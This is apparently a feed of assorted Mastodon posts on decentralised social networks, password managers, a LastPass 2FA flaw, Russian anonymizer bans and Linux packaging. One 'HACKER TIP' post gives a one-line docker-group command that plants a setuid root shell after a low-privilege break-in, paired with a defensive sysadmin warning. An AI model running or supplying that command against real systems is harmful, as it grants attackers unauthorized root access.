If you're a graphic artist, I think I'll be putting some of what's left of the next month's patreon into logo design for postActiv.  I'm not rich, but I'll pay within my means.  Get in touch!

As Mastodon grows, at some point there _will_ be a meltdown of some big instance into which tons of people put their trust and then the admin turns out not to be trustworthy (like the MtGox incident in Bitcoin). Even if it's a few hundred people affected, it will be major negative news.

People need to be educated about the role and power of instance admins.

The reason we refer to "core" memory or "core dump" is because how early memory was actually designed. These are magnetic cores with wire woven through (by hand, I might add) which contained program instructions

Core memory went away when silicon took over in the mid 70s

People are brainstorming new logos for Mastodon in this GitHub issue:

I really like the direction github.com/SamSaramyak's is going:

"Lastpass is storing the 2FA secret seed under a URL that can be derived from your password. This literally beats the entire purpose of 2FA which, as mentioned above, is a layer of security to prevent attackers already in possession of the password from logging in"

It's a black day for #russian internets: a bill draft was proposed by Russian government that bans usage of #VPN, #Tor, and other anonymizers. This happened only 10 days after a Tor exit node administrator #DmitryBogatov was arrested. Being anonymous is now a crime in Russia... #freeBogatov rublacklist.net/27859/

Ended my LastPass Premium subscription today. Have migrated everything to pass/password-store. Using the dmenu/rofi plugin makes entering credentials even more flexible and the Password Store Android app works OK. #infosec

#Solus will adopt #Flatpak and not #Ubuntu #Snap
As always (see #Mir ) Canonical solutions are just well promoted but fail when the discussion​ become technical. In his article Ikey Doherty explains why Solus will use Flatpak stressing technical and pragmatic aspects:

@LateNightLinux (comment on the 9th pod) If you remember the early days of G+ then Mastodon have a similar feel. A lot.. Yes, a lot open source and linuxy persons are on it. Currently my Mastodon feed is damn more interesting than G+. I could run my own instance and have full control. I don't want Kardashian.. I want Linuxy people with similar interest as I.. so for me that critical mass is already reached.

HACKER TIP: If you pop a low-priv linux shell. Don't forget to check if the user is in the "docker" group. If so, a root shell is only one line away:

$ docker run -v /home/${USER}:/h_docs ubuntu bash -c "cp /bin/bash /h_docs/rootshell && chmod 4777 /h_docs/rootshell;" && ~/rootshell -p

screenshots and more here on my (crappy) blog: zacharykeeton.com/Linux_Privil

SysAdmin tip: Don' t add any nonsudoers to the 'docker' group!

This place needs a) a filter-by-language feature, and b) an option to subscribe to various instances so I can watch more than one without having to watch all of it.
